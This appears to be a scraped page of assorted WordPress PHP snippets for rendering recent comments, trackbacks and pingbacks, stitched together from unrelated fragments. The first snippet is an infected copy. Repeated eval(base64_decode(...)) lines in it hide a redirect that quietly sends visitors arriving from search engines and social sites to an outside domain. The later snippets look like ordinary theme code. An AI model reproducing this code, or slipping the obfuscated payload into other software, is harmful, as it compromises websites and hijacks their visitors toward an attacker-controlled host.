        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        printf(__('From %1$s on %2$s%3$s'), '<cite class="comment-author">' . get_comment_author_link() . '</cite>', $comment_post_link . ' ' . $comment_link, ' <span class="approve">' . __('[Pending]') . '</span>');
        ?>
</h4>

			<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    } else {
        switch ($comment->comment_type) {
            case 'pingback':
                $type = __('Pingback');
                break;
            case 'trackback':
                $type = __('Trackback');
                break;
            default:
                $type = ucwords($comment->comment_type);
        }
        $type = esc_html($type);
        ?>
			<div class="dashboard-comment-wrap">
			<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        /* translators: %1$s is type of comment, %2$s is link to the post */
        ?>
			<h4 class="comment-meta"><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        printf(_x('%1$s on %2$s', 'dashboard'), "<strong>{$type}</strong>", $comment_post_link . " " . $comment_link);
        ?>
</h4>
			<p class="comment-author"><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        comment_author_link();
        ?>
</p>

			<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    }
    // comment_type
    ?>
			<blockquote><p><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    comment_excerpt();
    ?>
</p></blockquote>
			<p class="row-actions"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $actions_string;
    ?>
</p>
			</div>
		</div>
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) {
	$GLOBALS['comment'] =& $comment;

	$comment_post_url = get_edit_post_link( $comment->comment_post_ID );
	$comment_post_title = get_the_title( $comment->comment_post_ID );
	$comment_post_link = "<a href='$comment_post_url'>$comment_post_title</a>";
	$comment_link = '<a class="comment-link" href="' . get_comment_link() . '">#</a>';

	$delete_url = clean_url( wp_nonce_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID", "delete-comment_$comment->comment_ID" ) );
	$approve_url = clean_url( wp_nonce_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID", "approve-comment_$comment->comment_ID" ) );
	$unapprove_url = clean_url( wp_nonce_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID", "unapprove-comment_$comment->comment_ID" ) );
	$spam_url = clean_url( wp_nonce_url( "comment.php?action=deletecomment&dt=spam&p=$comment->comment_post_ID&c=$comment->comment_ID", "delete-comment_$comment->comment_ID" ) );

	$actions = array();

	$actions_string = '';
	if ( current_user_can('edit_post', $comment->comment_post_ID) ) {
		$actions['approve'] = "<a href='$approve_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved vim-a' title='" . __( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
		$actions['unapprove'] = "<a href='$unapprove_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved vim-u' title='" . __( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
		$actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' title='" . __('Edit comment') . "'>". __('Edit') . '</a>';
		//$actions['quickedit'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$comment->comment_post_ID.'\',\'edit\');return false;" class="vim-q" title="'.__('Quick Edit').'" href="#">' . __('Quick&nbsp;Edit') . '</a>';
		$actions['reply'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$comment->comment_post_ID.'\');return false;" class="vim-r hide-if-no-js" title="'.__('Reply to this comment').'" href="#">' . __('Reply') . '</a>';
		$actions['spam'] = "<a href='$spam_url' class='delete:the-comment-list:comment-$comment->comment_ID::spam=1 vim-s vim-destructive' title='" . __( 'Mark this comment as spam' ) . "'>" . _c( 'Spam|verb' ) . '</a>';
		$actions['delete'] = "<a href='$delete_url' class='delete:the-comment-list:comment-$comment->comment_ID delete vim-d vim-destructive'>" . __('Delete') . '</a>';

		$actions = apply_filters( 'comment_row_actions', $actions, $comment );

		$i = 0;
		foreach ( $actions as $action => $link ) {
			++$i;
			( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | ';

			// Reply and quickedit need a hide-if-no-js span
			if ( 'reply' == $action || 'quickedit' == $action )
				$action .= ' hide-if-no-js';

			$actions_string .= "<span class='$action'>$sep$link</span>";
		}
	}

?>

		<div id="comment-<?php echo $comment->comment_ID; ?>" <?php comment_class( array( 'comment-item', wp_get_comment_status($comment->comment_ID) ) ); ?>>
			<?php if ( !$comment->comment_type || 'comment' == $comment->comment_type ) : ?>

			<?php echo get_avatar( $comment, 50 ); ?>
			<h4 class="comment-meta"><?php printf( __( 'From %1$s on %2$s%3$s' ), '<cite class="comment-author">' . get_comment_author_link() . '</cite>', $comment_post_link." ".$comment_link, ' <span class="approve">' . __( '[Pending]' ) . '</span>' ); ?></h4>

			<?php
			else :
				switch ( $comment->comment_type ) :
				case 'pingback' :
					$type = __( 'Pingback' );
					break;
				case 'trackback' :
					$type = __( 'Trackback' );
					break;
				default :
					$type = ucwords( $comment->comment_type );
				endswitch;
				$type = wp_specialchars( $type );
			?>

			<h4 class="comment-meta"><?php printf( __( '%1$s on %2$s' ), "<strong>$type</strong>", $comment_post_link ); ?></h4>
			<p class="comment-author"><?php comment_author_link(); ?></p>

			<?php endif; // comment_type ?>
			<blockquote><p><?php comment_excerpt(); ?></p></blockquote>
			<p class="row-actions"><?php echo $actions_string; ?></p>

			<div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden">
				<textarea class="comment" rows="3" cols="10"><?php echo $comment->comment_content; ?></textarea>
				<div class="author-email"><?php echo attribute_escape( $comment->comment_author_email ); ?></div>
				<div class="author"><?php echo attribute_escape( $comment->comment_author ); ?></div>
				<div class="author-url"><?php echo attribute_escape( $comment->comment_author_url ); ?></div>
				<div class="comment_status"><?php echo $comment->comment_approved; ?></div>
			</div>

		</div>
<?php
}
Пример #19
0
 *
 * This source file is subject to the GNU GENERAL PUBLIC LICENSE (GPL 3.0)
 * that is bundled with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://www.gnu.org/licenses/gpl-3.0.txt
 */

global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_ID, $user_identity, $overridden_cpage;

if( $post->ping_status != 'open' ) { return; }

?>
<!-- START TRACKBACK & PINGBACK -->
<h3 id="trackbacks"><?php _e( 'Trackbacks and pingbacks', 'yit' ) ?></h3>
<ol class="trackbacklist">
<?php
$comments = get_comments( 'post_id=' . get_the_ID() );

$trackbacks_number = 0;
foreach ( $comments as $comment ) : 
    if ( $comment->comment_type == "trackback" || $comment->comment_type == "pingback" ) : ?>
    <li id="comment-<?php comment_ID() ?>" class="group">
        <cite><?php comment_author_link() ?></cite>
    	<br/>
    	<?php comment_excerpt() ?>
    </li>
    <?php $trackbacks_number++; endif ?>
<?php endforeach ?>
</ol>
<?php if( $trackbacks_number == 0 ) : ?><p><em><?php _e('No trackback or pingback available for this article.', 'yit'); ?></em></p><?php endif ?> 
<!-- END TRACKBACK & PINGBACK -->
Пример #20
0
    function widget($args, $instance)
    {
        // Outputs the content of the widget
        extract($args);
        // Make before_widget, etc available.
        $widget_title = null;
        $number_of_comments = null;
        $widget_title = esc_attr(apply_filters('widget_title', $instance['widget_title']));
        $number_of_comments = esc_attr($instance['number_of_comments']);
        echo $before_widget;
        if (!empty($widget_title)) {
            echo $before_title . $widget_title . $after_title;
        } else {
            echo $before_title . esc_html('Recent Comments', 'popper') . $after_title;
        }
        ?>

			<ul class="popper-widget-list">

				<?php 
        if ($number_of_comments == 0) {
            $number_of_comments = 5;
        }
        $args = array('orderby' => 'date', 'number' => $number_of_comments, 'status' => 'approve');
        global $comment;
        // The Query
        $comments_query = new WP_Comment_Query();
        $comments = $comments_query->query($args);
        // Comment Loop
        if ($comments) {
            foreach ($comments as $comment) {
                ?>

							<li>
								<a href="<?php 
                echo get_permalink($comment->comment_post_ID);
                ?>
#comment-<?php 
                echo $comment->comment_ID;
                ?>
">
									<div class="post-icon">
										<?php 
                echo get_avatar(get_comment_author_email($comment->comment_ID), $size = '96');
                ?>
									</div>
									<p class="title"><span><?php 
                comment_author();
                ?>
</span></p>
									<p class="excerpt"><?php 
                echo esc_attr(comment_excerpt($comment->comment_ID));
                ?>
</p>
									<p class="original-title"><span><?php 
                _e('on', 'popper');
                ?>
</span> <?php 
                the_title_attribute(array('post' => $comment->comment_post_ID));
                ?>
</p>
								</a>
							</li>

						<?php 
            }
        }
        ?>

			</ul>

		<?php 
        echo $after_widget;
    }
Пример #21
0
    function create_the_pings($comment, $args, $depth)
    {
        $GLOBALS['comment'] = $comment;
        ?>
		<li class="comment" id="comment-<?php 
        comment_ID();
        ?>
"><?php 
        comment_author_link();
        ?>
 - <?php 
        comment_excerpt();
        ?>
	<?php 
    }